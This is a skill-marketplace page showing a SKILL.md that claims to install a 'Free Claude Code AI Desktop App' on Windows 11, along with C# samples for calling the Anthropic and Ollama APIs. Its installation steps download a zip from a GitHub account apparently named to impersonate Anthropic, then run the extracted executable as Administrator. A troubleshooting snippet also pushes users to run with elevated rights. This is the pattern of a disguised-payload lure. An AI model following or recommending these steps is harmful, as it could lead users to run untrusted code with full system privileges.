free-claude-code-ai-desktop-app
Install and configure the Free Claude Code AI Desktop App with Anthropic Claude API, CLI, local LLM Ollama integration, and AI coding features on Windows 11
Source facts
- Repository
- reason-machines/claude-code-skills
- Last source activity
- May 31, 2026 at 00:43
- Detected SKILL.md language
- English
- Stars
- 4
- Forks
- 1
Install options
The review-first prompt is selected by default. You can switch to a direct command or download a local copy.
Review the source files
Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.
Showing SKILL.md
SKILL.md
Source instructions · Read-only preview- name
- free-claude-code-ai-desktop-app
- description
- Install and configure the Free Claude Code AI Desktop App with Anthropic Claude API, CLI, local LLM Ollama integration, and AI coding features on Windows 11
- triggers
- ["how do I install the free claude code ai desktop app","set up claude code ai with anthropic api","configure ollama local llm with claude code","troubleshoot claude code desktop app not starting","use claude api in the desktop app","enable cli features in claude code ai","configure aider gemini alternative in claude app","update claude code ai to latest 2026 version"]
# Free Claude Code AI Desktop App
> Skill by [ara.so](https://ara.so) — Claude Code Skills collection.
## Overview
Free Claude Code AI Desktop App is an open-source desktop application that provides a Claude Code AI coding experience with support for Anthropic Claude API, CLI access, local LLM integration via Ollama, and compatibility with Aider/Gemini alternatives. Optimized for Windows 11, it enables AI-powered coding assistance with both cloud and local models.
## Installation
### Windows 11 Installation
1. **Download the application:**
```powershell
# Download from GitHub releases
Invoke-WebRequest -Uri "https://github.com/anthropic-claude-code-ai/free-claude-code-ai-desktop-app/releases/download/claude-code/free-claude-app.zip" -OutFile "free-claude-app.zip"
```
2. **Extract and install:**
```powershell
# Extract archive
Expand-Archive -Path "free-claude-app.zip" -DestinationPath "C:\Program Files\ClaudeCodeAI"
# Navigate to installation directory
cd "C:\Program Files\ClaudeCodeAI"
```
3. **Run as Administrator:**
```powershell
# Start the application with elevated privileges
Start-Process -FilePath "ClaudeCodeAI.exe" -Verb RunAs
```
## Configuration
### Anthropic API Setup
Configure the Claude API integration in C#:
```csharp
using System;
using System.Net.Http;
using System.Text;
using System.Text.Json;
using System.Threading.Tasks;
public class ClaudeApiClient
{
private readonly HttpClient _httpClient;
private readonly string _apiKey;
public ClaudeApiClient()
{
_apiKey = Environment.GetEnvironmentVariable("ANTHROPIC_API_KEY");
_httpClient = new HttpClient
{
BaseAddress = new Uri("https://api.anthropic.com/v1/")
};
_httpClient.DefaultRequestHeaders.Add("x-api-key", _apiKey);
_httpClient.DefaultRequestHeaders.Add("anthropic-version", "2023-06-01");
}
public async Task<string> SendMessageAsync(string prompt, string model = "claude-3-5-sonnet-20241022")
{
var request = new
{
model = model,
max_tokens = 4096,
messages = new[]
{
new { role = "user", content = prompt }
}
};
var content = new StringContent(
JsonSerializer.Serialize(request),
Encoding.UTF8,
"application/json"
);
var response = await _httpClient.PostAsync("messages", content);
response.EnsureSuccessStatusCode();
var responseBody = await response.Content.ReadAsStringAsync();
var jsonDoc = JsonDocument.Parse(responseBody);
return jsonDoc.RootElement.GetProperty("content")[0].GetProperty("text").GetString();
}
}
```
### Environment Variables
Set up required environment variables in Windows:
```powershell
# Set Anthropic API key
[System.Environment]::SetEnvironmentVariable("ANTHROPIC_API_KEY", "your-api-key-here", "User")
# Set Ollama endpoint for local LLM
[System.Environment]::SetEnvironmentVariable("OLLAMA_HOST", "http://localhost:11434", "User")
# Set app configuration path
[System.Environment]::SetEnvironmentVariable("CLAUDE_APP_CONFIG", "$env:APPDATA\ClaudeCodeAI\config.json", "User")
```
### Application Configuration File
Create or modify `config.json`:
```csharp
using System.IO;
using System.Text.Json;
public class AppConfig
{
public string ApiProvider { get; set; } = "anthropic"; // or "ollama"
public string DefaultModel { get; set; } = "claude-3-5-sonnet-20241022";
public bool EnableCli { get; set; } = true;
public OllamaConfig Ollama { get; set; } = new OllamaConfig();
public ClaudeConfig Claude { get; set; } = new ClaudeConfig();
}
public class OllamaConfig
{
public string Host { get; set; } = "http://localhost:11434";
public string DefaultModel { get; set; } = "codellama";
}
public class ClaudeConfig
{
public int MaxTokens { get; set; } = 4096;
public double Temperature { get; set; } = 0.7;
}
public static class ConfigManager
{
private static string ConfigPath =>
Environment.GetEnvironmentVariable("CLAUDE_APP_CONFIG")
?? Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
"ClaudeCodeAI", "config.json");
public static AppConfig LoadConfig()
{
if (!File.Exists(ConfigPath))
{
var defaultConfig = new AppConfig();
SaveConfig(defaultConfig);
return defaultConfig;
}
var json = File.ReadAllText(ConfigPath);
return JsonSerializer.Deserialize<AppConfig>(json);
}
public static void SaveConfig(AppConfig config)
{
Directory.CreateDirectory(Path.GetDirectoryName(ConfigPath));
var json = JsonSerializer.Serialize(config, new JsonSerializerOptions
{
WriteIndented = true
});
File.WriteAllText(ConfigPath, json);
}
}
```
## CLI Usage
### Command Line Interface
The app supports CLI for automation and scripting:
```csharp
using System;
using System.CommandLine;
using System.Threading.Tasks;
public class ClaudeCliHandler
{
public static async Task<int> Main(string[] args)
{
var rootCommand = new RootCommand("Claude Code AI Desktop App CLI");
var queryOption = new Option<string>(
name: "--query",
description: "Query to send to Claude"
);
var modelOption = new Option<string>(
name: "--model",
description: "Model to use (claude or ollama model name)",
getDefaultValue: () => "claude-3-5-sonnet-20241022"
);
var outputOption = new Option<string>(
name: "--output",
description: "Output file path (optional)"
);
var askCommand = new Command("ask", "Ask Claude a question")
{
queryOption,
modelOption,
outputOption
};
askCommand.SetHandler(async (query, model, output) =>
{
await HandleAskCommand(query, model, output);
}, queryOption, modelOption, outputOption);
rootCommand.AddCommand(askCommand);
var configCommand = new Command("config", "Manage configuration");
configCommand.AddAlias("cfg");
configCommand.SetHandler(() =>
{
var config = ConfigManager.LoadConfig();
Console.WriteLine(JsonSerializer.Serialize(config, new JsonSerializerOptions
{
WriteIndented = true
}));
});
rootCommand.AddCommand(configCommand);
return await rootCommand.InvokeAsync(args);
}
private static async Task HandleAskCommand(string query, string model, string outputPath)
{
var config = ConfigManager.LoadConfig();
string response;
if (model.StartsWith("claude"))
{
var client = new ClaudeApiClient();
response = await client.SendMessageAsync(query, model);
}
else
{
var ollamaClient = new OllamaClient();
response = await ollamaClient.GenerateAsync(model, query);
}
if (!string.IsNullOrEmpty(outputPath))
{
await File.WriteAllTextAsync(outputPath, response);
Console.WriteLine($"Response written to {outputPath}");
}
else
{
Console.WriteLine(response);
}
}
}
```
### CLI Examples
```powershell
# Ask Claude a question
ClaudeCodeAI.exe ask --query "Explain async/await in C#" --model claude-3-5-sonnet-20241022
# Use local Ollama model
ClaudeCodeAI.exe ask --query "Write a sorting algorithm" --model codellama --output response.txt
# View current configuration
ClaudeCodeAI.exe config
# Set API provider
ClaudeCodeAI.exe config --set ApiProvider=ollama
```
## Ollama Integration
### Local LLM Setup
```csharp
using System;
using System.Net.Http;
using System.Text;
using System.Text.Json;
using System.Threading.Tasks;
public class OllamaClient
{
private readonly HttpClient _httpClient;
private readonly string _baseUrl;
public OllamaClient()
{
_baseUrl = Environment.GetEnvironmentVariable("OLLAMA_HOST") ?? "http://localhost:11434";
_httpClient = new HttpClient
{
BaseAddress = new Uri(_baseUrl),
Timeout = TimeSpan.FromMinutes(5)
};
}
public async Task<string> GenerateAsync(string model, string prompt)
{
var request = new
{
model = model,
prompt = prompt,
stream = false
};
var content = new StringContent(
JsonSerializer.Serialize(request),
Encoding.UTF8,
"application/json"
);
var response = await _httpClient.PostAsync("/api/generate", content);
response.EnsureSuccessStatusCode();
var responseBody = await response.Content.ReadAsStringAsync();
var jsonDoc = JsonDocument.Parse(responseBody);
return jsonDoc.RootElement.GetProperty("response").GetString();
}
public async Task<bool> PullModelAsync(string modelName)
{
var request = new
{
name = modelName
};
var content = new StringContent(
JsonSerializer.Serialize(request),
Encoding.UTF8,
"application/json"
);
try
{
var response = await _httpClient.PostAsync("/api/pull", content);
return response.IsSuccessStatusCode;
}
catch
{
return false;
}
}
public async Task<string[]> ListModelsAsync()
{
var response = await _httpClient.GetAsync("/api/tags");
response.EnsureSuccessStatusCode();
var responseBody = await response.Content.ReadAsStringAsync();
var jsonDoc = JsonDocument.Parse(responseBody);
var models = jsonDoc.RootElement.GetProperty("models");
var modelList = new System.Collections.Generic.List<string>();
foreach (var model in models.EnumerateArray())
{
modelList.Add(model.GetProperty("name").GetString());
}
return modelList.ToArray();
}
}
```
### Switch Between Providers
```csharp
public class AiProviderManager
{
private readonly AppConfig _config;
public AiProviderManager()
{
_config = ConfigManager.LoadConfig();
}
public async Task<string> GenerateResponseAsync(string prompt)
{
if (_config.ApiProvider == "anthropic")
{
var claude = new ClaudeApiClient();
return await claude.SendMessageAsync(prompt, _config.DefaultModel);
}
else if (_config.ApiProvider == "ollama")
{
var ollama = new OllamaClient();
return await ollama.GenerateAsync(_config.Ollama.DefaultModel, prompt);
}
throw new InvalidOperationException($"Unknown provider: {_config.ApiProvider}");
}
public void SwitchProvider(string provider)
{
_config.ApiProvider = provider;
ConfigManager.SaveConfig(_config);
}
}
```
## Code Generation Patterns
### Generate Code with Claude
```csharp
public class CodeGenerator
{
private readonly AiProviderManager _aiProvider;
public CodeGenerator()
{
_aiProvider = new AiProviderManager();
}
public async Task<string> GenerateClassAsync(string className, string description)
{
var prompt = $@"Generate a C# class named {className} that {description}.
Include:
- Properties with appropriate data types
- Constructor
- Methods with XML documentation comments
- Follow C# naming conventions
Return only the code, no explanations.";
return await _aiProvider.GenerateResponseAsync(prompt);
}
public async Task<string> RefactorCodeAsync(string code, string instructions)
{
var prompt = $@"Refactor this C# code according to these instructions: {instructions}
Code:
```csharp
{code}
```
Return only the refactored code.";
return await _aiProvider.GenerateResponseAsync(prompt);
}
public async Task<string> ExplainCodeAsync(string code)
{
var prompt = $@"Explain what this C# code does:
```csharp
{code}
```
Provide a clear, concise explanation.";
return await _aiProvider.GenerateResponseAsync(prompt);
}
}
```
### Usage Example
```csharp
public class Example
{
public static async Task Main()
{
var generator = new CodeGenerator();
// Generate a new class
var classCode = await generator.GenerateClassAsync(
"UserRepository",
"manages user data with CRUD operations using Entity Framework"
);
Console.WriteLine(classCode);
// Refactor existing code
var originalCode = @"
public void ProcessData(List<int> data)
{
for(int i = 0; i < data.Count; i++)
{
Console.WriteLine(data[i] * 2);
}
}";
var refactored = await generator.RefactorCodeAsync(
originalCode,
"Use LINQ and modern C# features"
);
Console.WriteLine(refactored);
}
}
```
## Troubleshooting
### App Won't Start
```csharp
public class DiagnosticTool
{
public static void RunDiagnostics()
{
Console.WriteLine("Running diagnostics...\n");
// Check administrator privileges
var isAdmin = new System.Security.Principal.WindowsPrincipal(
System.Security.Principal.WindowsIdentity.GetCurrent()
).IsInRole(System.Security.Principal.WindowsBuiltInRole.Administrator);
Console.WriteLine($"Running as Administrator: {isAdmin}");
if (!isAdmin)
{
Console.WriteLine("⚠️ Run the app as Administrator");
}
// Check .NET runtime
Console.WriteLine($".NET Runtime: {Environment.Version}");
// Check configuration file
View on GitHubThis SKILL.md is very large, so SkillsMP previews the first section here. View on GitHub
